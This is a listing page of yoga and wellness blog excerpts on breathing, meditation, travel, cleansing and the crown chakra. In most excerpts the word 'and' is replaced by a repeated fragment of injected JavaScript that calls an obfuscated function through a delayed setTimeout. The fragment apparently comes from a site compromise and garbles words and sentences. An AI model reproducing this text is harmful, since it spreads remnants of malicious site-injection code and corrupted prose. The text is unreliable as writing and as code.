Home Yoga Practice-Ujjayi Breathing

Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious  As part of our Home Yoga Practice series we begin with learning how to breathe.  Sounds odd, I know.  You probably take breathing for granted, it’s innate.  But, …

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Home Yoga Practice Mindful Meditation

There is nothing more pure in the world than the knowledge of the true self.  In due time this will come to the devoted practitioner of yoga. ~Bagavad Gita, IV.38 Welcome to our series Home Yoga Practice If you haven’t already …

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Getting Back on Track

Creating a Personal Home Yoga Practice, it’s all about balance… I am sure everyone can relate to life getting in the way of putting our own health & wellness first.  I have had numerous family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), …

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Tips for the Healthy Traveler

If you are a globetrotting wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anderluster like myself, the lack of sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hours spent in airports andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on airplanes may leave you more than …

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Meditation with a Tree

  Advice From a Tree Dear Friend, Standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Tall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Proud Sink your roots deeply into the Earth Reflect the light of your true nature Think long term Go out …

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7 Tips for Spring Cleansers

    7 Tips for Spring Cleansers Embracing your full potential sometimes requires first letting go.  As we move through the spring season we are reminded to cleanse our body, mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and household.  The ritual …

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Be Here Now
Fire Up the Breath of Love

The Breath of Love “Ancient Yogis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Masters of Light have taught that all answers lie within.  The breath is the doorway to this inner experience.  Babaji the great Indian mystic said that the “Breath …

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Rehab Is For Quitters

Why does quitting have such a bad connotation?  Oh yeah, that’s right; in our western society we sometimes have pressures placed upon us or the mentality to be the best, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to be the best …

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Crown Chakra Meditation
inspiration November 8, 2013 Meditation no discussions

As discussed earlier this week, our 7th chakra, the crown chakra located at the very top of the head is associated with the colors violet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pure white, as in a “light” white. It is …

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